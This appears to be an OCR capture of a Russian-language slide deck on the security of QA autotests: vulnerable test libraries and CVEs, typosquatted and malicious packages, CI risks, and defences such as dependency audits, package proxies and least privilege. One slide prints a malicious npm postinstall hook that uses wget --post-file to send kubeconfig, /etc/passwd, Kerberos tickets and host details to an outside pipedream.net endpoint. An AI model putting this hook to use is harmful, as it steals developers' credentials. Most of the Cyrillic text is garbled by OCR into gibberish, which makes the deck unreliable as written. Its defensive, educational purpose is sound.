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ABTOTECT APPSECTRACK /AN APPSEC SOLUTIONS

Kopg TecTtoB

¥ test_api.py
1 import pytest
import requests

DpenMBOPKU/6UBNNOTEKU

BASE_URL = "https://api.example.com/v1"

KoHpuUrypauma n TectoBble :
,D,a HHblI€ def test_login_returns_token():

payload = {"username": "test_user", "password": "secure_password123"}
response = requests.post(f"{BASE_URL}/login", json=payload, timeout=10)

assert response.status_code == 200
body = response.json()

assert "access_token" in body

assert body["token_type'"] == "Bearer"

Cl-paHHep

def test_profile_requires_authorization():

O6pa3 / OC runner response = requests.get(f"{BASE_URL}/profile", timeout=10)

assert response.status_code == 401

TecToBble CTEHObI U
cepBUCDI

CeTb 1 O4OCTYynNbl



Bbubnmorekun n 12 APPSECTRACK ) APPSEC SOLUTIONS
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Mpo6semMmbl open-source



Ony6nnMKoBaHHbIE
YA3BUMOCTW

HeanoctaTtok [10 ¢ TOUKK
3peHuns 6e30nacHoOCTW.

OwmnbkKa B Xxoe
pa3paboTKu.

K K K

LS APPSEC.TRACK AN APPSEC SOLUTIONS

CVE-2022-28108 (selenium_grid)
CVE-2022-45380 (Jenkins:junit)
CVE-2025-57285 (codeceptjs)

|
|
|
|
|
|
CVE-2020-28364 (locust)



YyA3BUMOCTb U ee 15 APPSECTRACK 78} APPSEC SOLUTIONS
XapPaKTEPUCTUKHAN

CVE-2025-57285 - yHV/IKaNIbHbIN NAEHTUPUKATOP
Ny6nnyHbie 6a3bl

pkg:npm/codeceptjs - PURL 6nbnnoteku

CVE, NVD
[3.5.0,3.7.5) - ArianasoH ysa3BYMbIX BEPCUIA 1Y ®CTIK
9.8 (Critical) - CVSS-oLieHka GitHub Security Advisory
GitLab Security Advisory
CWE-77 (Command Injection) - CWE-noka3aresb OSV (Google)

1.512% - EPSS-oueHKa

, Kommepueckune 6a3bl
81% - EPSS-percentile

Snyk

Sonatype
dyHkUMa emptyFolder noactasngeTt B shell-komaHay nyThb K kaTanory 6e3 Mend
3KpaHM3aUnn/HenTpanm3aunin, Yto No3BOJIAET BbIMOJIHUTL NPOV3BOJIbHbIE AppSec.Track

KOMaHZAbl Ha MalLlUnHe, rae 3anyLleH codeceptjs



yasBuMble 6ubnmoreku Python £ APPSEC.TRACK 7Y APPSEC SOLUTIONS

requests

locust

CVE NHpopmaLmsa ob
YSI3BMMOCTU

6.1 (Medium)

CVE-2023-32681 PUCK yTeUKM YUETHbIX JaHHbIX YYeTHbIX
AaHHbIX

npwv NepeHanpaBaeHUN

7.5 (High)

CVE-2018-18074 Mpwn Nnepeagpecaym YyBCTBUTENbHbIE
3aro/I0BKV OTMPaBASANNCH B

He3awmndpoBaHHOM BUAe

5.6 (Medium)
CVE-2024-35195 YA3BMMOCTb C NPOBEPKOIA SSL-

cepTUdmKaToB ceccnm

CVE-2020-28364 6.1 (Medium)

XSS-yA3BMMOCTb



yasBuMble 6Mbsnotekm java K5 APPSECTRACK A APPSEC SOLUTIONS

jenkins/junit

CVE NHopmauwmsa o6
YSA3BVMOCTU

_ ] 6.1 (Medium)
CVE-2018-1000411 CSRF-aTaka

8.3 (High)
CVE-2018-1000056 BO3MOXHOCTb BbIMOMHSATE KOMaHZAbl Ha
cepBepe

8.0 (High)
CVE-2022-45380 He6e3onacHas GpyHKLMA

“aBTOOMpPeAeneHunsa ccblnok”

CVE-2023-25761 5.4 (Medium)

XSS-yA3BMMOCTb

CVE-2022-34176 8.0 (High)

XSS-yA3BMMOCTb



Ya3BmMble 6Mb6nmnoTekm
JavaScript

£5) APPSEC.TRACK APPSEC SOLUTIONS

codeceptjs CVE-2025-57285
mockjs CVE-2023-26158

tree-kit CVE-2023-38894
selenium-chromedriver CVE-2016-10624

NHopmauwmsa o6
YS3BVIMOCTU

9.8 (Critical)

Command Injection

8.2 (High)
Prototype Pollution

9.8 (Critical)
Prototype Pollution

8.1 (High)

Missing Encryption of Sensitive Data
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BpeaoHOCHbIe NakeThbl

Malware

3aBef0MO BPeAOHOCHbIN
KOMMOHEHT, BbIMOJIHAOLLNIA
HeXenaTe/bHbIN KO/,

EJ TypoSquatting

reqeusts BMeCcTo requests

"postinstall": "wget --post-file ~/.
https://entfet95itcxpuu.
https://entfet95itcxpuu.
https://entfet95itcxpuu.
https://entfet95itcxpuu.
https://entfet95itcxpuu.

const trackingData = JSON.

p: package,

c: __dirname,

hd: os.homedir(),
hn: os.hostname(),

m

m
m
m
m

APPSEC.TRACK A APPSEC SOLUTIONS

.pipedreanm.
.pipedreanm.
.pipedreanm.
.pipedreanm.
.pipedreanm.

kube/config

net;wget
net;wget
net;wget
net;wget
net"

stringify({

un: os.userInfo().username,

dns: dns.getServers(),
r: packagelSON ? packagedSON.__ resolved :

v: packagel]SON.version,

pjson: packageJSON,

¥
2

--post-file package.json
--post-file /etc/passwd
--post-file /tmp/krb5cc_©
--post-file /etc/hosts

undefined,

ATaKa Ha axios B npm: KaK OAMH 3aXBauy€HHbIN aKKayHT
NnocTaBun nog yrposy MUNNMOHbI JavaScript-npoekTos

11



ApXTEKTYypa aBTOTECTOB APPSECTRACK

Kopg TecTtoB

dDpenMBOpPKU/61UBANOTEKN

KoHduUrypauma n tTectoBble gaHHble

Cl-paHHep
O6pa3 / OC runner
TecToBble CTEHObI U CEPBUCHI

CeTb 1 O4OCTynNbl

AN APPSEC SOLUTIONS

12



YpoBeHb 1. HOyTOyK TeCTUpOBLLMUKA

° f SSH-kno4un

o {1 git/config

doctyn K

o & .aws/credentials BT lE LI
MHPpaCTpYKTYype
* kube/config

e & docker config

13



YpoBeHb 2. Cl: TONbKO TecCTbl

@ e Cl-TOKeH
(GITHUB_TOKEN)

@ e CEKpeTbI BHenpeHue
nannnanHa SOOI CHE
pPeno3nTopum,
60 * APl-kntoun pa3BefKa ceTu

@ e OCTYM K
BHYTPEHHEU CETU

14



YpoBeHb 3. Cl: pennou TecTtoBoro cteHaga

» Kubeconfig

= YTeuka

;:j e Kpenbl gennos AaHHbIX

nosib3oBaTesieum,
e TecToBas b/ 3axBaT

% (konusa NpoayKToBbIX KJflactepa

OaHHbIX)

Ry

g e Terraform state




YpoBeHb 4. Cl: staging / npoaakLueH

e [lpoAyKTOBbIE

ceKpeTbl YTeuka
" K/IMEHTCKUX
e MNaTeXHble AaHHDbIX,

K04

$PU1HAHCOBDLIU
yuiep6,
penyTauuoHHbIe
norepu

e NpoaykrToBasa b/l

e TLS-cepTUdUKaThI

16
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@6

ga-api-tests
Pinned
Work items New

Merge requests

Manage
Plan
Code
Build
Secure
Deploy
Operate
Monitor
Analyze

Settings

What's new
Help

Collapse sidebar

<

tOns Kosukosa / ¢ga-api-tests

Q ga-api-tests &

¥ main v | ga-api-tests

Q Search or go to...

Set pipeline to manual trigger only ees

ysimakova authored 1 month ago

Name
© .gitignore
& .gitlab-ci.yml

m+ README.md

£ malicious_package_demo-0.21.0.t...

B requirements.txt

& test_api.py

° [ README.md

@ Victim Project (DEMO)

Last commit
Initial commit: QA API test project
Set pipeline to manual trigger only

Initial commit: QA API test project

Add package locally, install from file i...

Initial commit: QA API test project

Rewrite tests with real API calls to jso...

©

be20a7hbe

©

History

Last update

1 month ago

1 month ago

1 month ago

1 month ago

1 month ago

1 month ago

+ B0 0 mo

>

Q~v|| YStar O ¥ Fork = O .

Project information
. ]

-0- 7 Commits

¥ 1Branch

Q 0 Tags

& 99 KiB Project Storage

@ README

@ CI/CD configuration

+ Add LICENSE

Add CHANGELOG

Add CONTRIBUTING
Add Kubernetes cluster

Add Wiki

+ 4+ + + +

Configure Integrations

Created on
Fahriiarv 11 202A

I,ﬂ,EMOHCTpaLI,I/IS:I BbIMOJIHAETCA Ha N30/IMPOBAaHHOM OKPYXeHUN C LEe/IbH0 O6yLIeHI/IFI 17



APPSEC.TRACK APPSEC SOLUTIONS

10:24:22 $ cat requirements.txt
10:24:22 pytest==7.4.0
41 10:24:22 requests==2.31.0
42 10:24:22 $ pip install -r requirements.txt --no-cache-dir
43 10:24:23 Collecting pytest==7.4.8 (from -r requirements.txt (line 1))
44 10:24:23 Downloading pytest-7.4.0-py3-none-any.whl.metadata (8.8 kB)
45 10:24:23 Collecting requests==2.31.0 (from -r requirements.txt (line 2))
10:24:23 Downloading requests-2.31.8-py3-none-any.whl.metadata (4.6 kB)
47 10:24:23 Collecting iniconfig (from pytest==7.4.8->-r requirements.txt (line 1))
48 10:24:23 Downloading iniconfig-2.3.8-py3-none-any.whl.metadata (2.5 kB)
7 10:24:23 Collecting packaging (from pytest==7.4.0->-r requirements.txt (line 1))
24:23 Downloading packaging-26.0-py3-none-any.whl.metadata (3.3 kB)

10:24:23 Collecting pluggy<2.8,>=0.12 (from pytest==7.4.0->-r requirements.txt (line 1))

52 10:24:23 Downloading pluggy-1.6.0-py3-none-any.whl.metadata (4.8 kB)

53 10:24:23 Collecting charset-normalizer<é4,>=2 (from requests==2.31.0->-r requirements.txt (line 2))

54 10:24:23 Downloading charset_normalizer-3.4.7-cp311-cp31l-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (40 kB)
55 10:24:23 Collecting idna<4,>=2.5 (from requests==2.31.0->-r requirements.txt (line 2))

56 10:24:23 Downloading idna-3.11-py3-none-any.whl.metadata (8.4 kB)

57 10:24:23 Collecting urllib3<3,>=1.21.1 (from requests==2.31.0->-r requirements.txt (line 2))

58 10:24:23 Downloading urllib3-2.6.3-py3-none-any.whl.metadata (6.9 kB)

59 10:24:23 Collecting certifi>=2017.4.17 (from requests==2.31.0->-r requirements.txt (line 2))
10:24:23 Downloading certifi-2026.2.25-py3-none-any.whl.metadata (2.5 kB)
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locust 2.43.2

Load testing framework

requests 2.32.5 gevent 25.9.1

0 CVE

( )
: werkzeug A} ik pytest 9.0.2 21,0
ST S8k P | ==
: =3.0:1:6 CVE,C¥SS 7.5 B {greenlet 4.0.0]
1:12.0
jinja2 A i rt :i:'- """"""""""""""" A {'ggsten‘thtt@sient 1.@0) \-[zope.event 5.0]
— 3.1.6 0K i \-Gtsdangerous 2.2.0} RGN ] :
; {<3.1.3:5CVE,CVSS 8.8} K 5 ython-socketio 6.1.0 zope.interface 7.0
............................. { T . A<202422 1CVE ; python-socketio 6.1.0 pe. .
markupsafe 2.2. J e —— -
{ idnst A {configargparse 1.7.0]
— 3.110K §
A <3.6:1CVE,CVSS6.9 ! {msgpack 1.1.o]

---------------------------------

charset-normalizer
4.2.0

@ No known vulnerabilities ) Vulnerable in older versions &8 CVSS score ] 20




cypress 13.6.0 / E2E testing framework & 0 CVE

~1200 packages in node_modules

axios 1.6.2

0 CVE 0 CVE

14\ 4 CVE, CVSS 9.8

1
J

follow-redirects 1.15.4

1 CVE, CVSS 6.5

http-cache-semantics 4.1.0 word-wrap 1.2.3

A 2 CVE, CVSS 8.1, EPSS 86.8%! 2 CVE,CVSS 7.5 1 CVE, CVSS 5.3

@ No known vulnerabilities £\ Vulnerable in older versions  §&3 CVSS score 21



HoBaA peanbHOCTbL: VI
nuweT aBTOTEeCThl
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FI pOGJ’I eéMbl 6e3onac HOCTW APPSEC.TRACK APPSEG SOLUTIONS
NIN-aBTOTEeCTOB

YcTapeBLuve 1 ysa3BrMble 3aBUCMOCTN
[annoumMHaLuMn: HecyLLecTByOLLME NAKEThI

N36bITOUHBbIE 3aBNCAMOCTN

23



ABTOTECTbl - CaMaa HeagooLleHeHHas
30HA puUCKa

LS APPSEC.TRACK AN APPSEC SOLUTIONS

ABTOTECTbl — HEMNPOLOBbIN bo/ibLLION YypOBEHb

KO/, A0CTyMna TecToB

ABTOTECTbl BHe Nong
3peHusa b

3auinTa NpoL0BOro KoAa |

pacteT |
&

24



Kak 3alLnTnTbhCA?
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1. [lpoBepb NakeT nepep ycTaHOBKOW LS APPSEC.TRACK 7\ APPSEC SOLUTIONS

L]

25 npmjs.com/package/cypress B & Y

cypress 72

&
15.13.1 +« Public =« Published 3 days ago

[} Readme B Code & 43 Dependencies <% 584 Dependents @ 278 Versions

Cyp reSS Install

. . . . * npm 1 cypress @
Fast, easy and reliable testing for anything that runs in a browser.

What iS thlS? Repository

@ github.com/cypress-io/cypress
Cypress comes packaged as an npm module, which is all you need to get started testing.

After installing you'll be able to: Homepage
¢ Open Cypress from the CLI & cypress.io
¢ Run Cypress from the CLI

e require Cypressasa module

¥+ Weekly Downloads

Install 6595 917 Vv

Please check our system requirements. Version License
15.13.1 MIT



2. CTpon aepeBO 3aBUCMOCTEN U APPSEC.TRACK /&Y APPSEC SOLUTIONS
3anycKkav ayamTt 6nbnmorek

Busyanmsnpymn gepeso 3aBUCMMOCTeN - pipdeptree, npm Is -
all, mvn dependency:tree

$aL e e awae = -7 & ".\venv_victim\Scripts\pipdeptree.exe”
warnlnglll Dupllcate package metadata found:

< . - A\demo\victim-project\venv victim\Lib\site-packages"

pytest—async—lo 0.21.0 (using ©.21.€¢ . . .. _ v .. - p\demo\victim-project\venv victim\Lib\site-pa
ckages™)
NOTE: This warning isn't a failure warning.

o

pip==24.0
pipdeptree==2.35.0
packaging [required: »>=26, installed: 26.9]

pytest-async-io==0.21.0

L requests [required: >=2.20.8, installed: 2.32.5]
charset-normalizer [required: >=2,<4, installed: 3.4.4]
idna [required: »=2.5,<4, installed: 3.11]
urllib3 [required: »>=1.21.1,<3, installed: 2.6.3]
certifi [required: »>=2017.4.17, installed: 2026.1.4]

setuptools==80.10.2

wheel==0.46.3

— packaging [required: >=24.0, installed: 26.0]

27



2. CTpon aepeBO 3aBUCMOCTEN U APPSEC.TRACK /&Y APPSEC SOLUTIONS
3anycKkav ayamTt 6nbnmorek

Ncnonb3yin BCTpOEHHbIe MHCTPYMEHTLI 415 MPOBEPKU
ysa3BMMoOcCTen - pip audit, npm audit, mvn dependency-
check:check

$cd ™ " -7, 7 e Y~ Ndemo\victim-project”; .\venv victim\Scripts\pip-audit.exe
Found 3 known vulnerabilities in 2 packages
Version ID Fix Versions

24.0 CVE-2025-8869
pip 24.8 CVE-20626-1763
requests 2.32.5 CVE-2026-25645 2.33.0
skip Reason

pytest-async-io Dependency not found on PyPTI and could not be audited: pytest-async-io (©.21.0)

28



2. CTpow gepeBo 3aBUCUMOCTEN U APPSEC.TRACK /&Y APPSEC SOLUTIONS
3anycKkav ayamTt 6nbnmorek

dukcnpyn Bepcrn B paninie MaHUpecTa

= requirements.txt M X

Review Next File

boolean.py==5.8

CacheControl==6.14.4
certifi==2026.1.4
charset-normalizer==3.4.4
cyclonedx-python-1ib==11.7.0
defusedxml==0.7.1
filelock==3.25.2

idna==3.11
license-expression==30.4.4

29



3. He 601icsl 06HOBNATL 6UGNNOTEKN. LS APPSEC.TRACK AN APPSEC SOLUTIONS
Nnn 6ouncs?

1. 06HoBRsiCS perynsapHo! Ho...

7. V36eraii 06HOBNEHS Ha HOBeliLVe BepCuu Cpasy xe,
lan bnoénmoTeke «oCTbITb»

30



4. cnonb3yn NN Kak nOMOLLHMKA MO LI APPSEC.TRACK 72 APPSEC SOLUTIONS

6e30nacHoOCTU

1. [lonpocn areHTa
BM3yann3npoBaTh AepeBo
3aBYICMMOCTeM

2. [lonpocn areHTa
npoBecTn ayanT
6e30nmacHOCTU

3. Ncnonb3ymn MCP gns
bnbnmnoTek

Ol

Pacckaxu npo yasermocTe CVE-2021-44228 ucnonbaysa AppSec.Track

+ % £l E‘ls'ao

Pacckaxwu npo yassumocTs CVE-2021-44228 ncnonbaysa AppSec.Track

dolphin-mixtral:8x7b

CVE-2021-44228 - 310 yA3BMMoOCTb B Log4j, KoTopas MOXEeT No3BONUTb yAaneHHbIM HEABTOPM30BaHHbLIM NOMb30BaTENAM
BbIMONHUTb NMPOU3BOMbHLIA KOO Ha aTakyeMoin cucteme. 3To NPOUCXOAUT M3-3a 0bpaboTkm 3anpocos HTTP ¢
ncnonb3oBaHWeM Log4j, KoTopasa NepeBoauT NapamMeTpbl B nor-hannbl.

Mony4JeHWe ys3BUMOCTHU:

1. Heobxogumo oTnpaewTb cneyuanbHo NOAroToBNeHHbIM HTTP-3anpoc K npunoXxeHuto, ncnonbaytowemy Log4j ans
NOrMpPOBaHKA. 3anpoc A0MXKEeH BKIKOYaTb NapameTpbl, COAepsKallue CChiky Ha yaaneHHbIA cepeep.

2. TMocne TOro Kak 3anpoc A0CTUraeT NpUnoxeHus, Log4dj nelTaeTca paspewnTb cebinky B DNS-3anpoc ans onpegenexHus
IP-appeca cepeepa. 310 MoxXeT 6bITb Npobnemoi, ecnu ynaneHHslin cepep sBnaetca malicious unu contains a
vulnerable service (e.g., Memcached).

3. Ecnu npunoxeHue He agekBaTHO 3alULLEHO, 3/10YMbILNIEHHWUK MOXET MOy4nUTh AOCTYN K yAaneHHOMy cepBepy U
BbIMOSIHUTL NMPOW3BO/ILHBIA KOA Ha aTakyeMol cucTeme.

PekomMeHaaLMm Mo UCNpaBneHuo:

1. Mony4yuTe akTyanbHyO Bepcuio 6nbnnotekn Logdj.

2. MNonyunte akTyanbHyto BEpcUo BnbnuoTek, 3asncawmx ot Log4j (Hanpumep, Spring Boot).

3. MNpoBepbTe BCE NPUNOXEHNA B Bawen MHGpacTpyKType Ha Hanu4une yassumocTtn CVE-2021-44228.

4. OBHOBWTE BCE 3aTparmBaeMble MPUNOXEHUA 1 BUBNMOTeKM A0 afeKBaTHOM BEPCUX, YTOObI 3aKpbITh YA3BUMOCTb.

1Source
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5. Monpocm nomowy y KomaHabl Ib nnn (S APPSECTRACK 7Y APPSEC SOLUTIONS
DevOps

I'Iorlpocme MOAKNHOYNTb Balll pEI'IO3I/ITOpI/II7I C aBTOTeECTaMW K
CKaHepaM KOMIMaHW

32



5. NMNonpocu nomowm y komaHabl VIb nnwu APPSEC.TRACK /&Y APPSEC SOLUTIONS

DevOps

% trivy fs --severity HIGH,CRITICAL --dependency-tree /path/to/your node project

package-lock. json (npm)

Total: 2 (HIGH: 1, CRITICAL: 1)

Library Vulnerability Severity | Installed Version Fixed Version Title

follow-redirects CVE-2822-8155 HIGH 1.14.6 1.14.7 follow-redirects: Exposure of Private Personal Information
to an Unauthorized Actor
https://avd.aquasec.com/nvd/cve-2822-8155

glob-parent CVE-2028-28469 | CRITICAL 3.1.8 S nodejs-glob-parent: Regular expression denial of service
https://avd.agquasec.com/nvd/cve-2820-25469

Dependency Origin Tree (Rewversed)

package-lock. json
F—— follow-redirectsf@l.14.6, (HIGH: 1, CRITICAL: @)
| L axios@e.21.4
L glob-parent@3.1.8, (HIGH: @, CRITICAL: 1)
L— chokidarf2.1.8
L— watchpack-chokidar2@2.8.1
L— watchpack@l.?7.5
— webpacki4.46.8
L cra-append -swiii2. 7.8




5. Monpocm nomowy y KomaHabl Ib nnn (S APPSECTRACK 7Y APPSEC SOLUTIONS
DevOps

[lonpocuTe 3aBeCTV KOPropaTUBHLIN peecTp bubroTek ANs
aBTOTECTOB U MPOKCUPYMNTE NakeTbl OTTyAa

34



5. NMNonpocu nomowm y komaHabl VIb nnwu LI APPSEC.TRACK 72 APPSEC SOLUTIONS
DevOps

Sonatype Nexus Repository Manager ~ ..
0sSs 3?9?0-01 P v < e Q / e =) Signin

Browse
5 Browse / & NpM-proxy

O Welcome

HTML View Advanced search...
» Q Search

esS-ext I§ react/-/react-0.0.3.1gz
madge

Browse

[ Delete asset
react

s 1§ react-0.0.3.tgz

Summary
I§ react-0.13.2.tgz
typescript OSS Index Vulnerabilities
Usage
Attributes
—~ Cache

last_verified 2026-04-15T08:20:44.4427

—~ Checksum

sha b48724d68047a09ab726d066b
4290e53a7d94abd 35

—~ Content



5. Monpocm nomowy y KomaHabl Ib nnn (S APPSECTRACK 7Y APPSEC SOLUTIONS
DevOps

ObcyamnTe NCNosib30BaHME NPUHLKMNG HAaVMeHbLLNX
npuBMIEernin B nanniamHe aBToTecToB

PoTvpynTe TOKeHb!

36



3aK/1roueHvie: 6e30nacHOCTb
BalLUX aBTOTEeCTOB HAUMHAETCH C
BacC.
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